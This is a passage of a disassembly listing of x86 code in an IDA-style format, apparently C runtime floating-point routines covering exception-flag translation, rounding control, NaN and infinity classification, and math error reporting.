		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420EBB
		add	esp, 10h


loc_420E4B:				; CODE XREF: sub_420445+1Fj
					; sub_420445+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420E62


loc_420E51:				; CODE XREF: sub_420445+9BDj
					; sub_420445+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420E65
		cmp	[ebp+var_15], al
		jnz	short loc_420E65
		or	eax, 0FFFFFFFFh
		jmp	short loc_420E65
; ---------------------------------------------------------------------------


loc_420E62:				; CODE XREF: sub_420445+A0Aj
		mov	eax, [ebp+var_34]


loc_420E65:				; CODE XREF: sub_420445+A11j
					; sub_420445+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420445	endp


; =============== S U B	R O U T	I N E =======================================



sub_420E6A	proc near		; CODE XREF: sub_420445+7A3p
					; sub_420445+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43A88C, 1
		push	esi
		jle	short loc_420E84
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420E93
; ---------------------------------------------------------------------------


loc_420E84:				; CODE XREF: sub_420E6A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43A680
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420E93:				; CODE XREF: sub_420E6A+18j
		test	eax, eax
		jnz	short loc_420E9D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420E9D:				; CODE XREF: sub_420E6A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420E6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EA1	proc near		; CODE XREF: sub_420445+1E1p
					; sub_420445+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420EB3
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420EB3:				; CODE XREF: sub_420EA1+7j
		push	edx
		call	sub_41EF78
		pop	ecx
		retn
sub_420EA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EBB	proc near		; CODE XREF: sub_420445+6Bp
					; sub_420445+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420ED1
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423EBF
		pop	ecx
		pop	ecx

locret_420ED1:				; CODE XREF: sub_420EBB+5j
		retn
sub_420EBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_420ED2	proc near		; CODE XREF: sub_420445+63p
					; sub_420445+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420ED8:				; CODE XREF: sub_420ED2+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420EA1
		mov	edi, eax
		push	edi
		call	sub_41DE10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420ED8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420ED2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420EF6(int,int,double,int)

sub_420EF6	proc near		; CODE XREF: sub_41CDE5+51p
					; sub_41CF2B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43B000, 0
		jnz	short loc_420F2B
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_4214AB
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420F2B:				; CODE XREF: sub_420EF6+Aj
		push	0FFFFh
		mov	dword_4D9714, 21h
		push	[ebp+arg_C]
		call	sub_42171E
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_420F49(int,int,double,double,int)

sub_420F49	proc near		; CODE XREF: sub_41CDE5:loc_41CEA8p
					; sub_41CF2B:loc_41CFEEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421294
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420F87
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_420FE1
		add	esp, 18h


loc_420F87:				; CODE XREF: sub_420F49+1Aj
		push	[ebp+arg_0]
		call	sub_42157E
		cmp	dword_43B000, 0
		pop	ecx
		jnz	short loc_420FC5
		test	eax, eax
		jz	short loc_420FC5
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_4214AB
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_420FC5:				; CODE XREF: sub_420F49+4Ej
					; sub_420F49+52j
		push	eax
		call	sub_421533
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_42171E
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_420F49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420FE1	proc near		; CODE XREF: sub_420F49+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_421013
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_421013:				; CODE XREF: sub_420FE1+23j
		test	cl, 2
		jz	short loc_421026
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421026:				; CODE XREF: sub_420FE1+35j
		test	cl, bl
		jz	short loc_421038
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421038:				; CODE XREF: sub_420FE1+47j
		test	cl, 4
		jz	short loc_42104B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_42104B:				; CODE XREF: sub_420FE1+5Aj
		test	cl, 8
		jz	short loc_42105E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_42105E:				; CODE XREF: sub_420FE1+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_421701
		test	al, bl
		jz	short loc_4210E7
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4210E7:				; CODE XREF: sub_420FE1+FDj
		test	al, 4
		jz	short loc_4210F2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4210F2:				; CODE XREF: sub_420FE1+108j
		test	al, 8
		jz	short loc_4210FD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4210FD:				; CODE XREF: sub_420FE1+113j
		test	al, 10h
		jz	short loc_421107
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421107:				; CODE XREF: sub_420FE1+11Ej
		test	al, 20h
		jz	short loc_421111
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421111:				; CODE XREF: sub_420FE1+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421150
		cmp	eax, 400h
		jz	short loc_421142
		cmp	eax, 800h
		jz	short loc_421136
		cmp	eax, ecx
		jnz	short loc_421156
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421136:				; CODE XREF: sub_420FE1+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_42114C
; ---------------------------------------------------------------------------


loc_421142:				; CODE XREF: sub_420FE1+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_42114C:				; CODE XREF: sub_420FE1+15Fj
		mov	[eax], ecx
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421150:				; CODE XREF: sub_420FE1+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421156:				; CODE XREF: sub_420FE1+14Bj
					; sub_420FE1+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421181
		cmp	eax, 200h
		jz	short loc_421174
		cmp	eax, ecx
		jnz	short loc_42118E
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_42118E
; ---------------------------------------------------------------------------


loc_421174:				; CODE XREF: sub_420FE1+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_42118C
; ---------------------------------------------------------------------------


loc_421181:				; CODE XREF: sub_420FE1+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_42118C:				; CODE XREF: sub_420FE1+19Ej
		mov	[eax], ecx


loc_42118E:				; CODE XREF: sub_420FE1+189j
					; sub_420FE1+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42170F
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26502C0h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421208
		and	dword ptr [esi], 0FFFFFFFEh


loc_421208:				; CODE XREF: sub_420FE1+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421211
		and	dword ptr [esi], 0FFFFFFFBh


loc_421211:				; CODE XREF: sub_420FE1+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_42121A
		and	dword ptr [esi], 0FFFFFFF7h


loc_42121A:				; CODE XREF: sub_420FE1+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421223
		and	dword ptr [esi], 0FFFFFFEFh


loc_421223:				; CODE XREF: sub_420FE1+23Dj
		test	[eax+8], bl
		jz	short loc_42122B
		and	dword ptr [esi], 0FFFFFFDFh


loc_42122B:				; CODE XREF: sub_420FE1+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42125F
		dec	ecx
		jz	short loc_421253
		dec	ecx
		jz	short loc_421249
		dec	ecx
		jnz	short loc_421261
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421261
; ---------------------------------------------------------------------------


loc_421249:				; CODE XREF: sub_420FE1+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_42125B
; ---------------------------------------------------------------------------


loc_421253:				; CODE XREF: sub_420FE1+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_42125B:				; CODE XREF: sub_420FE1+270j
		mov	[esi], ecx
		jmp	short loc_421261
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420FE1+257j
		and	[esi], edx


loc_421261:				; CODE XREF: sub_420FE1+260j
					; sub_420FE1+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421281
		dec	ecx
		jz	short loc_421278
		dec	ecx
		jnz	short loc_42128A
		and	[esi], edx
		jmp	short loc_42128A
; ---------------------------------------------------------------------------


loc_421278:				; CODE XREF: sub_420FE1+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421288
; ---------------------------------------------------------------------------


loc_421281:				; CODE XREF: sub_420FE1+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421288:				; CODE XREF: sub_420FE1+29Ej
		mov	[esi], ecx


loc_42128A:				; CODE XREF: sub_420FE1+291j
					; sub_420FE1+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421294	proc near		; CODE XREF: sub_420F49+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4212BF
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4212BF
		push	ebx
		call	sub_421741
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421489
; ---------------------------------------------------------------------------


loc_4212BF:				; CODE XREF: sub_421294+15j
					; sub_421294+1Aj
		test	al, 4
		jz	short loc_4212D9
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4212D9
		push	4
		call	sub_421741
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421489
; ---------------------------------------------------------------------------


loc_4212D9:				; CODE XREF: sub_421294+2Dj
					; sub_421294+33j
		test	al, bl
		jz	loc_4213B3
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4213B3
		push	8
		call	sub_421741
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_42138B
		cmp	ecx, 400h
		jz	short loc_421363
		cmp	ecx, 800h
		jz	short loc_42133B
		cmp	ecx, eax
		jnz	loc_4213AB
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fld	dbl_43ABF8
		fnstsw	ax
		sahf
		ja	short loc_421333
		fchs


loc_421333:				; CODE XREF: sub_421294+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_42133B:				; CODE XREF: sub_421294+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jbe	short loc_421353
		fld	dbl_43ABE8
		jmp	short loc_42135B
; ---------------------------------------------------------------------------


loc_421353:				; CODE XREF: sub_421294+B5j
		fld	dbl_43ABF8
		fchs


loc_42135B:				; CODE XREF: sub_421294+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_421363:				; CODE XREF: sub_421294+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jbe	short loc_42137B
		fld	dbl_43ABF8
		jmp	short loc_421383
; ---------------------------------------------------------------------------


loc_42137B:				; CODE XREF: sub_421294+DDj
		fld	dbl_43ABE8
		fchs


loc_421383:				; CODE XREF: sub_421294+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_42138B:				; CODE XREF: sub_421294+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fld	dbl_43ABE8
		fnstsw	ax
		sahf
		ja	short loc_4213A3
		fchs


loc_4213A3:				; CODE XREF: sub_421294+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_4213A9:				; CODE XREF: sub_421294+A5j
					; sub_421294+CDj ...
		fstp	qword ptr [ecx]


loc_4213AB:				; CODE XREF: sub_421294+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421489
; ---------------------------------------------------------------------------


loc_4213B3:				; CODE XREF: sub_421294+47j
					; sub_421294+51j
		test	al, 2
		jz	loc_421489
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421489
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4213CE
		mov	esi, ebx


loc_4213CE:				; CODE XREF: sub_421294+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jz	loc_421477
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421640
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421419
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_42146D
; ---------------------------------------------------------------------------


loc_421419:				; CODE XREF: sub_421294+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jnb	short loc_42142B
		mov	edx, ebx
		jmp	short loc_42142D
; ---------------------------------------------------------------------------


loc_42142B:				; CODE XREF: sub_421294+191j
		xor	edx, edx


loc_42142D:				; CODE XREF: sub_421294+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421461
		sub	eax, ecx


loc_421444:				; CODE XREF: sub_421294+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42144F
		test	esi, esi
		jnz	short loc_42144F
		mov	esi, ebx


loc_42144F:				; CODE XREF: sub_421294+1B3j
					; sub_421294+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_42145B
		or	byte ptr [ebp+var_C+3],	80h


loc_42145B:				; CODE XREF: sub_421294+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421444


loc_421461:				; CODE XREF: sub_421294+1ACj
		test	edx, edx
		jz	short loc_42146D
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_42146D:				; CODE XREF: sub_421294+183j
					; sub_421294+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421479
; ---------------------------------------------------------------------------


loc_421477:				; CODE XREF: sub_421294+14Ej
		mov	esi, ebx


loc_421479:				; CODE XREF: sub_421294+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421486
		push	10h
		call	sub_421741
		pop	ecx


loc_421486:				; CODE XREF: sub_421294+1E8j
		and	edi, 0FFFFFFFDh


loc_421489:				; CODE XREF: sub_421294+26j
					; sub_421294+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4214A0
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4214A0
		push	20h
		call	sub_421741
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4214A0:				; CODE XREF: sub_421294+1F9j
					; sub_421294+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4214AB(int,int,int,int,int,int,double,int)

sub_4214AB	proc near		; CODE XREF: sub_420EF6+2Bp
					; sub_420F49+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421559
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421516
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_42171E
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_423F2D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421510
		push	esi
		call	sub_421533
		pop	ecx


loc_421510:				; CODE XREF: sub_4214AB+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421516:				; CODE XREF: sub_4214AB+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_42171E
		push	[ebp+arg_0]
		call	sub_421533
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_4214AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421533	proc near		; CODE XREF: sub_420F49+7Dp
					; sub_4214AB+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_42154E
		jle	short locret_421558
		cmp	eax, 3
		jg	short locret_421558
		mov	dword_4D9714, 22h
		retn
; ---------------------------------------------------------------------------


loc_42154E:				; CODE XREF: sub_421533+7j
		mov	dword_4D9714, 21h

locret_421558:				; CODE XREF: sub_421533+9j
					; sub_421533+Ej
		retn
sub_421533	endp


; =============== S U B	R O U T	I N E =======================================



sub_421559	proc near		; CODE XREF: sub_4214AB+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43AB10


loc_421560:				; CODE XREF: sub_421559+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421576
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43ABE8
		jl	short loc_421560
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421576:				; CODE XREF: sub_421559+Dj
		mov	eax, off_43AB14[ecx*8]
		retn
sub_421559	endp


; =============== S U B	R O U T	I N E =======================================



sub_42157E	proc near		; CODE XREF: sub_420F49+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_42158A
		push	5
		jmp	short loc_4215A0
; ---------------------------------------------------------------------------


loc_42158A:				; CODE XREF: sub_42157E+6j
		test	al, 8
		jz	short loc_421592
		push	1
		jmp	short loc_4215A0
; ---------------------------------------------------------------------------


loc_421592:				; CODE XREF: sub_42157E+Ej
		test	al, 4
		jz	short loc_42159A
		push	2
		jmp	short loc_4215A0
; ---------------------------------------------------------------------------


loc_42159A:				; CODE XREF: sub_42157E+16j
		test	al, 1
		jz	short loc_4215A2
		push	3


loc_4215A0:				; CODE XREF: sub_42157E+Aj
					; sub_42157E+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4215A2:				; CODE XREF: sub_42157E+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_42157E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4215AB(double)

sub_4215AB	proc near		; CODE XREF: sub_41CDE5:loc_41CE6Bp
					; sub_41CF2B:loc_41CFB1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_4215AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4215BD(double,int)

sub_4215BD	proc near		; CODE XREF: sub_421640+82p
					; sub_421640+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4215BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4215E6	proc near		; CODE XREF: sub_41CDE5+31p
					; sub_41CF2B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4215FD
		cmp	[ebp+arg_0], edx
		jnz	short loc_42160F
		push	1
		jmp	short loc_421639
; ---------------------------------------------------------------------------


loc_4215FD:				; CODE XREF: sub_4215E6+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42160F
		cmp	[ebp+arg_0], edx
		jnz	short loc_42160F
		push	2
		jmp	short loc_421639
; ---------------------------------------------------------------------------


loc_42160F:				; CODE XREF: sub_4215E6+11j
					; sub_4215E6+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421622
		push	3
		jmp	short loc_421639
; ---------------------------------------------------------------------------


loc_421622:				; CODE XREF: sub_4215E6+36j
		cmp	cx, 7FF0h
		jnz	short loc_42163C
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421637
		cmp	[ebp+arg_0], edx
		jz	short loc_42163C


loc_421637:				; CODE XREF: sub_4215E6+4Aj
		push	4


